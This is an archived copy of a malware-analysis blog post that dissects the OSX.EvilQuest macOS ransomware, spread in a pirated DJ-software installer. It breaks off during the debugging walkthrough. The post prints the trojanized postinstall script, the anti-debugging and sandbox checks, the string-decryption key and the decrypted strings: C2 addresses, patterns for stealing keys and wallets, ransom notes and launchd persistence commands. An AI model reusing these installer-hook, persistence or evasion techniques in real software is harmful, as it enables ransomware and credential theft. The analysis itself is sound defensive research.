{
	"id": "6012519b-d11a-4c27-a7bc-d4af8e048a5b",
	"created_at": "2026-04-06T01:30:15.143516Z",
	"updated_at": "2026-04-10T03:30:33.816923Z",
	"deleted_at": null,
	"sha1_hash": "e506803e52295c4ac00e5fe9407d2718ab06032e",
	"title": "OSX.EvilQuest Uncovered",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4061129,
	"plain_text": "OSX.EvilQuest Uncovered\r\nArchived: 2026-04-06 01:15:03 UTC\r\nOSX.EvilQuest Uncovered\r\npart i: infection, persistence, and more!\r\nby: Patrick Wardle / June 29, 2020\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve added the sample (‘OSX.EvilQuest’) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nEarly today, the noted Malware researcher Dinesh Devadoss tweeted about a new piece of macOS malware with\r\nransomware tendencies “impersonating as Google Software Update program with zero detection.”:\r\nIt’s not everyday that a new piece of malware/ransomware is uncovered that targets macOS. Moreover, as my\r\nRansomWhere? tool claims to be able to generically detect such threats, I decided to take a anlayze the malware\r\nand confirm the tool does indeed detect it (with no a priori knowledge).\r\nIn this first part of this two-part blog post series, we’ll discuss the malware’s infection vector, and perform an\r\ninitial triage to uncover its persistence, and anti-analysis logic. In part two, we’ll detect the capabilities of this\r\ninsidious threat.\r\nInfection Vector\r\nFrom Dinesh’s tweet, it was not apparent how the ransomware was able to infect macOS users. However, Thomas\r\nReed of Malwarebytes (and Objective by the Sea speaker!), noted that the malware had been found in pirated\r\nversions of popular macOS software, shared on popular torrent sites.\r\nThis method of infection, though relatively unsophisticated is somewhat common, thus indicating it is (at least at\r\nsome level) successful. Other examples of macOS malware spreading via infected torrents include:\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 1 of 29\n\nOSX.iWorm:\r\nOSX.Shlayer:\r\n“Intego researchers found OSX/Shlayer spreading via BitTorrent file sharing sites, appearing as a fake\r\nFlash Player update when a user attempts to select a link to copy a torrent magnet link.”\r\nEthical reasons aside, it's generally unwise to install pirated software, as it is often infected with malware.\r\n“Torrent sites are notorious for distributing malware and adware, sometimes through misleading advertisements,\r\nand sometimes through Trojan horse downloads that claim to be ‘cracks’ or that may contain infected copies of\r\nlegitimate software” -Intego\r\nThe sample we’ll be analyzing today, is packaged in a (pirated?) version of the popular DJ software Mixed In Key.\r\nThe malicious package is unsigned:\r\n…meaning macOS will prompt the user before allowing it to be opened:\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 2 of 29\n\nHowever, macOS users attempting to pirate software may likely ignore this warning, pressing onwards ensuring\r\ninfection commences.\r\nAnalysis\r\nAs noted, the ransomware is distributed via trojanzied installers. The sample we’ll dive into, is distributed via a\r\ndisk image named Mixed In Key 8.dmg ( SHA1: 98040c4d358a6fb9fed970df283a9b25f0ab393b ).\r\nCurrently this disk image is not flagged by any of the anti-virus engines on VirusTotal, (though this is likely to\r\nchange as AV engines update their signature databases):\r\nWe can mount this disk image, via the hdiutil utility:\r\n$ hdiutil attach ~/Downloads/Mixed\\ In\\ Key\\ 8.dmg\r\n/dev/disk2 GUID_partition_scheme\r\n/dev/disk2s1 Apple_APFS\r\n/dev/disk3 EF57347C-0000-11AA-AA11-0030654\r\n/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8\r\nThe mounted disk image (’/Volumes/Mixed In Key 8/’) contains a installer package Mixed In Key 8.pkg :\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 3 of 29\n\n$ ls /Volumes/Mixed\\ In\\ Key\\ 8/\r\nMixed In Key 8.pkg\r\nMy favorite tool for statically analyzing (and extracting files from) a package is Suspicious Package :\r\nOnce opened in Suspicious Package , we find the (pirated?) Mixed In Key 8 application and binary named\r\n“ patch ”:\r\nClicking on the ‘postinstall’ tab, we find a post install script:\r\n1#!/bin/sh\r\n2mkdir /Library/mixednkey\r\n3\r\n4mv /Applications/Utils/patch /Library/mixednkey/toolroomd\r\n5rmdir /Application/Utils\r\n6\r\n7chmod +x /Library/mixednkey/toolroomd\r\n8\r\n9/Library/mixednkey/toolroomd \u0026\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 4 of 29\n\nIn short, after creating the /Library/mixednkey directory, it moves a binary named patch into this directory,\r\nsets it to be executable, and launches it.\r\nAs the installer requests root privileges during the install, this script (and thus the toolroomd binary) will also\r\nrun with root privileges:\r\nVia dynamic analysis monitoring tools (such as a file and process monitor) we can passively observe the\r\ninstallation process:\r\n# procInfo\r\n[process start]\r\npid: 536\r\npath: /bin/sh\r\nuser: 0\r\nargs: (\r\n \"/bin/sh\",\r\n \"/tmp/PKInstallSandbox.NY2QC8/Scripts/com.mixedinkey.installer.mCoJoP/postinstall\",\r\n \"/Users/user/Downloads/Mixed In Key 8.pkg\",\r\n \"/Applications\",\r\n \"/\",\r\n \"/\"\r\n)\r\n...\r\n# fs_usage -w -f filesystem\r\nmkdir /Library/mixednkey mkdir.5164\r\n...\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 5 of 29\n\nrename /Applications/Utils/patch mv.5167\r\n...\r\nfstatat64 /Library/mixednkey/toolroomd chmod.5171\r\nUsing Suspicious Package we can extract both the Mixed In Key 8 application and the binary named\r\n“ patch . As the Mixed In Key 8 binary is (still) validly signed by the Mixed In Key developers, it is likely\r\npristine and unmodified:\r\n…as such, we turn our attention to the toolroomd binary.\r\nThe toolroomd binary (originally called patch ) is a 64-bit unsigned Mach-O executable:\r\n$ file patch\r\npatch: Mach-O 64-bit executable x86_64\r\n$ codesign -dvv patch\r\npatch: code object is not signed at all\r\n$ shasum -a1 patch\r\nefbb681a61967e6f5a811f8649ec26efe16f50ae patch\r\nNext, we run the strings command:\r\n$ string - patch\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 6 of 29\n\n2Uy5DI3hMp7o0cq|T|14vHRz0000013\r\n0ZPKhq0rEeUJ0GhPle1joWN30000033\r\n0rzACG3Wr||n1dHnZL17MbWe0000013\r\nsystem.privilege.admin\r\n%s --reroot\r\n--silent\r\n--noroot\r\n--ignrp\r\n_generate_xkey\r\n/toidievitceffe/libtpyrc/tpyrc.c\r\nbits \u003c= 1024\r\n_get_process_list\r\n/toidievitceffe/libpersist/persist.c\r\n[return]\r\n[tab]\r\n[del]\r\n[esc]\r\n[right-cmd]\r\n[left-cmd]\r\n[left-shift]\r\n[caps]\r\n[left-option]\r\nFrom the strings output, we find obfuscated strings, plus some that appear related to command line arguments,\r\nfile encryption, and perhaps keylogging(?).\r\nVia the nm utility, we can dump the names of symbols (including function names):\r\n$ nm patch\r\n U _CGEventGetIntegerValueField\r\n U _CGEventTapCreate\r\n U _CGEventTapEnable\r\n U _NSAddressOfSymbol\r\n U _NSCreateObjectFileImageFromMemory\r\n U _NSDestroyObjectFileImage\r\n U _NSLinkModule\r\n U _NSLookupSymbolInModule\r\n U _NSUnLinkModule\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 7 of 29\n\nU _NXFindBestFatArch\r\n0000000100002900 T __construct_plist_path\r\n000000010000a7e0 T __dispatch\r\n0000000100009c20 T __ei_init_crc32_tab\r\n000000010000b490 T __ei_rootgainer_elevate\r\n00000001000061c0 T __generate_xkey\r\n000000010000a550 T __get_host_identifier\r\n0000000100007c40 T __get_process_list\r\n00000001000094d0 T __home_stub\r\n000000010000e0c0 T __is_target\r\n000000010000ecb0 T __make_temp_name\r\n0000000100000000 T __mh_execute_header\r\n0000000100004910 T __pack_trailer\r\n000000010000a170 T __react_exec\r\n000000010000a160 T __react_host\r\n000000010000a470 T __react_keys\r\n000000010000a500 T __react_ping\r\n000000010000a300 T __react_save\r\n0000000100009e80 T __react_scmd\r\n000000010000a460 T __react_start\r\n00000001000072d0 T __rotate\r\n00000001000068a0 T __tp_decrypt\r\n0000000100006610 T __tp_encrypt\r\n00000001000049c0 T __unpack_trailer\r\n0000000100002550 T _acquire_root\r\n U _connect\r\n00000001000085a0 T _create_rescue_executable\r\n000000010000ba50 T _ei_carver_main\r\n0000000100001590 T _ei_forensic_sendfile\r\n0000000100001680 T _ei_forensic_thread\r\n0000000100005b00 T _ei_get_host_info\r\n0000000100006050 T _ei_get_macaddr\r\n000000010000b9b0 T _ei_loader_main\r\n000000010000c9a0 T _ei_loader_thread\r\n0000000100009650 T _ei_pers_thread\r\n000000010000b880 T _ei_persistence_main\r\n0000000100001c30 T _ei_read_spot\r\n000000010000b580 T _ei_rootgainer_main\r\n0000000100003670 T _ei_run_file\r\n0000000100003790 T _ei_run_memory_hrd\r\n0000000100009550 T _ei_run_thread\r\n0000000100001a10 T _ei_save_spot\r\n000000010000b710 T _ei_selfretain_main\r\n000000010000de60 T _eib_decode\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 8 of 29\n\n000000010000dd40 T _eib_encode\r\n000000010000dc40 T _eib_pack_c\r\n000000010000e010 T _eib_secure_decode\r\n000000010000dfa0 T _eib_secure_encode\r\n0000000100013660 D _eib_string_fa\r\n0000000100013708 S _eib_string_key\r\n000000010000dcb0 T _eib_unpack_i\r\n0000000100007570 T _eip_decrypt\r\n0000000100007310 T _eip_encrypt\r\n0000000100007130 T _eip_key\r\n00000001000071f0 T _eip_seeds\r\n \r\n0000000100007aa0 T _is_debugging\r\n0000000100007bc0 T _is_virtual_mchn\r\n0000000100002dd0 T _lfsc_dirlist\r\n00000001000032c0 T _lfsc_get_contents\r\n000000010000fa50 T _lfsc_match\r\n00000001000033e0 T _lfsc_pack_binary\r\n000000010000f720 T _lfsc_parse_template\r\n0000000100003500 T _lfsc_unpack_binary\r\n0000000100008810 T _persist_executable\r\n0000000100008df0 T _persist_executable_frombundle\r\n U _popen\r\n0000000100007c20 T _prevent_trace\r\nOhh, the plot thickens! From this nm output, we seen methods and function names related to:\r\nkeylogging? _CGEventTapCreate , _CGEventTapEnable , etc.\r\nin-memory code execution? _NSCreateObjectFileImageFromMemory , _NSLinkModule , etc.\r\nanti-analysis? _is_debugging , _is_virtual_mchn\r\nsurvey? __get_host_identifier , __get_process_list , etc.\r\npersistence _persist_executable , _persist_executable_frombundle\r\nencryption (ransom) _eip_encrypt\r\n…seems more than “just” a simple piece of ransomware!\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 9 of 29\n\nTime to disassemble/debug the patch binary\r\nThe core logic of the patch (or toolroomd ) binary occurs within it’s main function.\r\nFirst, it parses any commandline parameters looking for --silent , --noroot , and --ignrp .\r\n--silent\r\nIf --silent is passed in via the command line, it sets a value to zero. This appears to instruct the malware\r\nto run “silently”, for example suppressing the printing out error messages.\r\n1__text:000000010000C375 cmp [rbp+silent], 1\r\n2__text:000000010000C379 jnz skipErrMsg\r\n3...\r\n4__text:000000010000C389 lea rdi, \"This application has to be run by root\"\r\n5__text:000000010000C396 call _printf\r\nThis flag is passed to the ei_rootgainer_main function, which influences how the malware (running as a\r\nnormal user) may request root privileges:\r\n1__text:000000010000C2EB lea rdx, [rbp+silent]\r\n2__text:000000010000C2EF lea rcx, [rbp+var_34]\r\n3__text:000000010000C2F3 call _ei_rootgainer_main\r\nInterestingly this flag is explicitly initialized to zero, an set to zero again if the --silent is specified,\r\nthough appears to never be set to 1. Thus the malware will alway run in “silent” mode, even if --silent\r\nis not specified. 🤷🏽‍♂️\r\n--noroot\r\nIf --noroot is passed in via the command line, it sets a value to one. Various code within the malware\r\nthen checks this flag, and if set (to 1) takes different action …for example skipping the request for root\r\nprivileges:\r\n1__text:000000010000C2D6 cmp [rbp+noRoot], 0\r\n2__text:000000010000C2DA jnz noRequestForRoot\r\n3...\r\n4__text:000000010000C2F3 call _ei_rootgainer_main\r\nThis flag is also passed to a persistence function, to influence how the malware is persisted (as a launch\r\ndaemon, or a launch agent):\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 10 of 29\n\n1__text:000000010000C094 mov ecx, [rbp+noRoot]\r\n2__text:000000010000C097 mov r8d, [rbp+var_24]\r\n3__text:000000010000C09B call _ei_persistence_main\r\n--ignrp\r\nIf --ignrp is passed in via the command line, it sets a value to one, and instructs the malware not to\r\npersist (“ignore persistence”).\r\nFor example in the ei_selfretain_main function (that persists the malware), this flag is checked. If it’s\r\nnot set, the function simply returns without persisting the malware:\r\n1__text:000000010000B786 cmp [rbp+ignorePersistence], 0\r\n2__text:000000010000B78A jz leave\r\nOnce the malware has parse its command line options, it executes a function named is_virtual_mchn , and exits\r\nif it returns true:\r\n1if(is_virtual_mchn(0x2) != 0x0) {\r\n2 exit();\r\n3}\r\nLet’s take a closer look at this function, as we want to make sure it doesn’t detect our debugging session in a\r\nvirtual machine:\r\n 1int _is_virtual_mchn(int arg0) {\r\n 2 var_10 = time();\r\n 3 sleep(argO);\r\n 4 rax = time();\r\n 5 rdx = 0x0;\r\n 6 if (rax - var_10 \u003c arg0) {\r\n 7 rdx = 0x1;\r\n 8 }\r\n 9 rax = rdx;\r\n10 return rax;\r\n11}\r\nThis code invokes time twice, with a sleep in between …then compares if the differences between the two\r\ncalls to time match the amount of time that was system slept for. Why? To detect sandboxes that patch (speedup)\r\ncalls to sleep :\r\n“Sleep Patching Sandboxes will patch the sleep function to try to outmaneuver malware that uses time\r\ndelays. In response, malware will check to see if time was accelerated. Malware will get the timestamp,\r\ngo to sleep and then again get the timestamp when it wakes up. The time difference between the\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 11 of 29\n\ntimestamps should be the same duration as the amount of time the malware was programmed to sleep.\r\nIf not, then the malware knows it is running in an environment that is patching the sleep function, which\r\nwould only happen in a sandbox.” -www.isaca.org\r\nThis means, that in reality the function is more of sandbox check, and may not detect a virtual machine. That’s\r\ngood news for our debugging efforts!\r\nContinuing on, the malware invokes a method named extract_ei , which attempts to read 0x20 bytes of “trailer”\r\ndata from within (the end?) of itself. However, as a function named unpack_trailer (invoked by extract_ei )\r\nreturns 0 ( false ) as a check for 0DEADFACEh fails, it appears that this sample does not contain the required\r\n“trailer” data:\r\n1;rcx: trailer data\r\n2__text:0000000100004A39 cmp dword ptr [rcx+8], 0DEADFACEh\r\n3__text:0000000100004A40 mov [rbp+var_38], rax\r\n4__text:0000000100004A44 jz leave\r\nWith no trailer data found, the sample skips certain persistence logic …logic that appears to persist a daemon:\r\n 1;rcx: trailer data\r\n 2if (extract_ei(*var_10, \u0026var_40) != 0x0) {\r\n 3 _persist_executable_frombundle(var_48, var_40, var_30, *var_10);\r\n 4 _install_daemon(var_30, _ei_str(\"0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx...\"),\r\n 5 _ei_str(\"0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD...\"), 0x1);\r\n 6\r\n 7 var_50 = _ei_str(\"0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073\");\r\n 8 var_58 = _ei_str(\"20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013\");\r\n 9 var_60 = _ei_str(\"1PbP8y2Bxfxk0000013\");\r\n10 ...\r\n11 _run_daemon_u(var_50, var_58, var_60);\r\n12 ...\r\n13 _run_target(*var_10);\r\n14}\r\nIt appears that various values of interest to us (such as the name/path of the daemon) are obfuscated. However,\r\nlooks like the _ei_str function is responsible for the deobfuscation:\r\nLooking at its decompilation, we see a one-time initialization of a variable named _eib_string_key and then a\r\ncall into a function named _eib_secure_decode (which calls a method named _tpdcrypt ):\r\n 1int _ei_str(int arg0) {\r\n 2 var_10 = arg0;\r\n 3 if (*_eib_string_key == 0x0) {\r\n 4 *_eib_string_key = _eip_decrypt(_eib_string_fa, 0x6b8b4567);\r\n 5 }\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 12 of 29\n\n6 var_18 = 0x0;\r\n 7 rax = strlen();\r\n 8 rax = _eib_secure_decode(var_10, rax, *_eib_string_key, \u0026var_18);\r\n 9 var_20 = rax;\r\n10 if (var_20 == 0x0) {\r\n11 var_8 = var_10;\r\n12 }\r\n13 else {\r\n14 var_8 = var_20;\r\n15 }\r\n16 rax = var_8;\r\n17 return rax;\r\n18}\r\nGenerally, we don’t have to concern ourselves with the details of the deobfuscation (or decryption) algorithm, as\r\nwe can simply set a debugger breakpoint at the end of the function, and print out the (now) plaintext string (which\r\nis held in the RAX register).\r\nBut let’s at least dump the decryption key ( _eib_string_key ):\r\n(lldb) x/s $rdx\r\n0x1001004c0: \"PPK76!dfa82^g\"\r\nHowever, the “downside” to this approach is that we’ll only decrypt strings when the malware invokes the\r\nei_str function (and our debugger breakpoint is hit). Thus, if an encrypted string is (only) referenced in blocks\r\nof code that aren’t executed, we won’t ever see it’s decrypted value. Of course we want to decrypt all the strings!\r\nWe know the malware can (obviously) decrypt all its strings (via the ei_str function), we just need a way to\r\n“convince” to do so! Turns out this isn’t too hard. We simply create an injectable dynamic library that resolves the\r\naddress of the malware’s ei_str function, then invokes it for any/all encrypted strings! As we place all the logic\r\nin the constructor of the dynamic library, it is automatically executed when the library is loaded, before the\r\nmalware’s code is even run!\r\nHere’s the (well-commented) code from the injectable dynamic library:\r\n 1__attribute__((constructor)) static void decrypt()\r\n 2{\r\n 3 //define \u0026 resolve the malware's `ei_str` function\r\n 4 typedef char* (*ei_str)(char* str);\r\n 5 ei_str ei_strFP = dlsym(RTLD_MAIN_ONLY, \"ei_str\");\r\n 6\r\n 7\r\n 8 //init pointers\r\n 9 // the `__cstring` segment starts `0xF98D` after `ei_str` and is `0x29E9` long\r\n10 char* start = (char*)ei_strFP + 0xF98D;\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 13 of 29\n\n11 char* end = start + 0x29E9;\r\n12 char* current = start;\r\n13\r\n14 //decrypt all stings!\r\n15 while(current \u003c end)\r\n16 {\r\n17 //decrypt\r\n18 char* string = ei_strFP(current);\r\n19 printf(\"decrypted string (%#lx): %s\\n\", (unsigned long)current, string);\r\n20\r\n21 //next\r\n22 current += strlen(current);\r\n23 }\r\n24}\r\nIn short, it simply scan over the entire __cstring segment (which contains all the encrypted strings), invoking\r\nthe ei_str method on each encrypted string.\r\nWe compile and forcefully load this into the malware via the DYLD_INSERT_LIBRARIES environment variable.\r\nOnce loaded our decryption logic is invokes and the coerces the malware to decrypt all it’s strings:\r\nDYLD_INSERT_LIBRARIES=/tmp/libEvilQuestDecryptor.dylib /Library/mixednkey/toolroomd\r\ndecrypted string (0x10eb675ec): andrewka6.pythonanywhere.com\r\ndecrypted string (0x10eb67624): ret.txt\r\ndecrypted string (0x10eb6764a): osascript -e \"beep 18\r\nsay \\\"%s\\\" waiting until completion false\r\nset alTitle to \\\"%s\\\"\r\nset alText to \\\"%s\\\"\r\ndisplay alert alText message alTitle as critical buttons {\\\"OK\\\"}\r\nset the clipboard to \\\"%s\\\"\"\r\ndecrypted string (0x10eb6778c): READ_ME_NOW.txt\r\ndecrypted string (0x10eb677b8): %s/Desktop/%s\r\ndecrypted string (0x10eb677d8): %s/Documents/%s\r\ndecrypted string (0x10eb67804): %s/Pictures/%s\r\ndecrypted string (0x10eb67824): %s/Movies/%s\r\ndecrypted string (0x10eb67844): %s/Hellper.app\r\ndecrypted string (0x10eb67864): osascript -e \"do shell script \\\"sudo %s\\\" with administrator privileg\r\ndecrypted string (0x10eb678e4): system.privilege.admin\r\ndecrypted string (0x10eb678fb): %s --reroot\r\ndecrypted string (0x10eb67907): launchctl submit -l 'questd' -p '%s'\r\ndecrypted string (0x10eb6794c): --silent\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 14 of 29\n\ndecrypted string (0x10eb67960): osascript -e \"do shell script \\\"launchctl load -w %s;launchctl start\ndecrypted string (0x10eb67a10): osascript -e \"do shell script \\\"launchctl load -w %s;launchctl start\ndecrypted string (0x10eb67a95): *id_rsa*/i\ndecrypted string (0x10eb67ab5): *.pem/i\ndecrypted string (0x10eb67ad5): *.ppk/i\ndecrypted string (0x10eb67af5): known_hosts/i\ndecrypted string (0x10eb67b15): *.ca-bundle/i\ndecrypted string (0x10eb67b35): *.crt/i\ndecrypted string (0x10eb67b55): *.p7!/i\ndecrypted string (0x10eb67b75): *.!er/i\ndecrypted string (0x10eb67b95): *.pfx/i\ndecrypted string (0x10eb67bb5): *.p12/i\ndecrypted string (0x10eb67bd5): *key*.pdf/i\ndecrypted string (0x10eb67bf5): *wallet*.pdf/i\ndecrypted string (0x10eb67c15): *key*.png/i\ndecrypted string (0x10eb67c35): *wallet*.png/i\ndecrypted string (0x10eb67c55): *key*.jpg/i\ndecrypted string (0x10eb67c75): *wallet*.jpg/i\ndecrypted string (0x10eb67c95): *key*.jpeg/i\ndecrypted string (0x10eb67cb5): *wallet*.jpeg/i\ndecrypted string (0x10eb67ce6): HelloCruelWorld\ndecrypted string (0x10eb67d12): [Memory Based Bundle]\ndecrypted string (0x10eb67d6b): ei_run_memory_hrd\ndecrypted string (0x10eb681ad):\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabel%sProgramArgumentssudo%s--silentRunAtLoadKeepAlive https://objective-see.com/blog/blog_0x59.html\nPage 15 of 29\n\ndecrypted string (0x10eb68419): wb+\ndecrypted string (0x10eb6841d): %s/Library/\ndecrypted string (0x10eb6843f): /Library/AppQuest/com.apple.questd\ndecrypted string (0x10eb68483): /Library/AppQuest\ndecrypted string (0x10eb684af): %s/Library/AppQuest\ndecrypted string (0x10eb684db): %s/Library/AppQuest/com.apple.questd\ndecrypted string (0x10eb6851f):\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabel%sProgramArguments%s--silentRunAtLoadKeepAlive decrypted string (0x10eb68767): questd\ndecrypted string (0x10eb6877b): com.apple.questd.plist\ndecrypted string (0x10eb687a7): /Library/LaunchDaemons/\ndecrypted string (0x10eb687df): %s/Library/LaunchAgents/\ndecrypted string (0x10eb68817): NCUCKOO7614S\ndecrypted string (0x10eb68837): 167.71.237.219\ndecrypted string (0x10eb68857): q?s=%s\u0026h=%s\ndecrypted string (0x10eb68863): .xookc\ndecrypted string (0x10eb68877): osascript -e \"do shell script \\\"sudo open %s\\\" with administrator pri\ndecrypted string (0x10eb688f7): Hi there\ndecrypted string (0x10eb6891b): .shcsh\ndecrypted string (0x10eb6893f): Little Snitch\ndecrypted string (0x10eb6895f): Kaspersky\ndecrypted string (0x10eb6897f): Norton\ndecrypted string (0x10eb68993): Avast\ndecrypted string (0x10eb689a7): DrWeb\nhttps://objective-see.com/blog/blog_0x59.html\nPage 16 of 29\n\ndecrypted string (0x10eb689bb): Mcaffee\r\ndecrypted string (0x10eb689db): Bitdefender\r\ndecrypted string (0x10eb689fb): Bullguard\r\ndecrypted string (0x10eb68a1b): com.apple.questd\r\ndecrypted string (0x10eb68a47): ookcucythguan\r\ndecrypted string (0x10eb68a67): Installer.app\r\ndecrypted string (0x10eb68a87): Setup\r\ndecrypted string (0x10eb68a9b): %s --ignrp\r\ndecrypted string (0x10eb68aa6): /Users\r\ndecrypted string (0x10eb68aba): --noroot\r\ndecrypted string (0x10eb68ac3): --ignrp\r\ndecrypted string (0x10eb68acb): %s/.ncspot\r\ndecrypted string (0x10eb68aeb): H2QGjSmA\r\ndecrypted string (0x10eb68b54): YOUR IMPORTANT FILES ARE ENCRYPTED\r\nMany of your documents, photos, videos, images and other files are no longer accessible because they\r\nWe use 256-bit AES algorithm so it will take you more than a billion years to break this encryption w\r\nAnyways, we guarantee that you can recover your files safely and easily. This will require us to use\r\nIn order to accept this offer, you have to deposit payment within 72 hours (3 days) after receiving t\r\nPayment has to be deposited in Bitcoin based on Bitcoin/USD exchange rate at the moment of payment. T\r\n %s\r\nDecryption will start automatically within 2 hours after the payment has been processed and will take\r\nTHIS OFFER IS VALID FOR 72 HOURS AFTER RECEIVING THIS MESSAGE\r\ndecrypted string (0x10eb6939c): 13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7\r\ndecrypted string (0x10eb693bf): Your files are encrypted\r\ndecrypted string (0x10eb693f7): Many of your important documents, photos, videos, images and other fi\r\nMaybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can re\r\nWe guarantee however that you can recover your files safely and easily and this will cost you 50 USD\r\nOur offer is valid FOR 3 DAYS (starting now!). Full details can be found in the file: READ_ME_NOW.tx\r\ndecrypted string (0x10eb6997e): READ_ME_NOW\r\ndecrypted string (0x10eb6999e): .tar\r\ndecrypted string (0x10eb699b2): .rar\r\ndecrypted string (0x10eb699c6): .tgz\r\ndecrypted string (0x10eb699da): .zip\r\ndecrypted string (0x10eb699ee): .7z\r\ndecrypted string (0x10eb69a02): .dmg\r\ndecrypted string (0x10eb69a16): .gz\r\ndecrypted string (0x10eb69a2a): .jpg\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 17 of 29\n\ndecrypted string (0x10eb69a3e): .jpeg\r\ndecrypted string (0x10eb69a52): .png\r\ndecrypted string (0x10eb69a66): .gif\r\ndecrypted string (0x10eb69a7a): .psd\r\ndecrypted string (0x10eb69a8e): .eps\r\ndecrypted string (0x10eb69aa2): .mp4\r\ndecrypted string (0x10eb69ab6): .mp3\r\ndecrypted string (0x10eb69aca): .mov\r\ndecrypted string (0x10eb69ade): .avi\r\ndecrypted string (0x10eb69af2): .mkv\r\ndecrypted string (0x10eb69b06): .wav\r\ndecrypted string (0x10eb69b1a): .aif\r\ndecrypted string (0x10eb69b2e): .aiff\r\ndecrypted string (0x10eb69b42): .ogg\r\ndecrypted string (0x10eb69b56): .flac\r\ndecrypted string (0x10eb69b6a): .doc\r\ndecrypted string (0x10eb69b7e): .txt\r\ndecrypted string (0x10eb69b92): .docx\r\ndecrypted string (0x10eb69ba6): .xls\r\ndecrypted string (0x10eb69bba): .xlsx\r\ndecrypted string (0x10eb69bce): .pages\r\ndecrypted string (0x10eb69be2): .pdf\r\ndecrypted string (0x10eb69bf6): .rtf\r\ndecrypted string (0x10eb69c0a): .m4a\r\ndecrypted string (0x10eb69c1e): .csv\r\ndecrypted string (0x10eb69c32): .djvu\r\ndecrypted string (0x10eb69c46): .epub\r\ndecrypted string (0x10eb69c5a): .pub\r\ndecrypted string (0x10eb69c6e): .key\r\ndecrypted string (0x10eb69c82): .dwg\r\ndecrypted string (0x10eb69c96): .c\r\ndecrypted string (0x10eb69caa): .cpp\r\ndecrypted string (0x10eb69cbe): .h\r\ndecrypted string (0x10eb69cd2): .m\r\ndecrypted string (0x10eb69ce6): .php\r\ndecrypted string (0x10eb69cfa): .cgi\r\ndecrypted string (0x10eb69d0e): .css\r\ndecrypted string (0x10eb69d22): .scss\r\ndecrypted string (0x10eb69d36): .sass\r\ndecrypted string (0x10eb69d4a): .otf\r\ndecrypted string (0x10eb69d5e): .ttf\r\ndecrypted string (0x10eb69d72): .asc\r\ndecrypted string (0x10eb69d86): .cs\r\ndecrypted string (0x10eb69d9a): .vb\r\ndecrypted string (0x10eb69dae): .asp\r\ndecrypted string (0x10eb69dc2): .ppk\r\ndecrypted string (0x10eb69dd6): .crt\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 18 of 29\n\ndecrypted string (0x10eb69dea): .p7\r\ndecrypted string (0x10eb69dfe): .pfx\r\ndecrypted string (0x10eb69e12): .p12\r\ndecrypted string (0x10eb69e26): .dat\r\ndecrypted string (0x10eb69e3a): .hpp\r\ndecrypted string (0x10eb69e4e): .ovpn\r\ndecrypted string (0x10eb69e62): .download\r\ndecrypted string (0x10eb69e82): .pem\r\ndecrypted string (0x10eb69e96): .numbers\r\ndecrypted string (0x10eb69eb6): .keynote\r\ndecrypted string (0x10eb69ed6): .ppt\r\ndecrypted string (0x10eb69eea): .aspx\r\ndecrypted string (0x10eb69efe): .html\r\ndecrypted string (0x10eb69f12): .xml\r\ndecrypted string (0x10eb69f26): .json\r\ndecrypted string (0x10eb69f3a): .js\r\ndecrypted string (0x10eb69f4e): .sqlite\r\ndecrypted string (0x10eb69f6e): .pptx\r\ndecrypted string (0x10eb69f82): .pkg\r\nIn the decrypted output we find many revealing strings that appear to be:\r\naddresses of (command and control?) servers: andrewka6.pythonanywhere.com , 167.71.237.219 .\r\nregexes for files of interest, relating to keys, certificates, and wallets: *id_rsa*/i , *key*.pdf/i ,\r\n*wallet*.pdf , etc…\r\nproperty list file(s) for launch item persistence.\r\nsecurity products: Little Snitch , Kaspersky , etc…\r\n(de)ransom instructions, and target file extensions.\r\nContinuing on in our analysis, as this specimen does not appear to contain any ’trailer’ data, the code block\r\n(mentioned above) is skipped …however, the malware then invokes a function named ei_persistence_main\r\nwhich (also) persists the malware.\r\nHowever, before persistence, the ei_persistence_main function invokes various anti-debugging logic, in an\r\nattempt to thwart dynamic debugging! Specifically it first calls a function named is_debugging . The\r\nis_debugging method is implemented at address 0x0000000100007AA0 . To check if it is being debugged, it\r\ninvokes sysctl with CTL_KERN , KERN_PROC , KERN_PROC_PID, and getpid() . Once this has returned, it\r\nchecks if the P_TRACED is set (in the info.kp_pro structure returned by sysctl ). This is a common anti-debugger check, seen in other macOS malware:\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 19 of 29\n\nIf the is_debugging function returns 1 ( true ) the malware will exit:\r\n1__text:000000010000B89A call _is_debugging\r\n2__text:000000010000B89F cmp eax, 0\r\n3__text:000000010000B8A2 jz continue\r\n4__text:000000010000B8A8 mov edi, 1\r\n5__text:000000010000B8AD call _exit\r\nTo subvert this in a debugger we simply set a breakpoint at 0x000000010000B89F , then change the value of the\r\nRAX register to 0 ( false ):\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 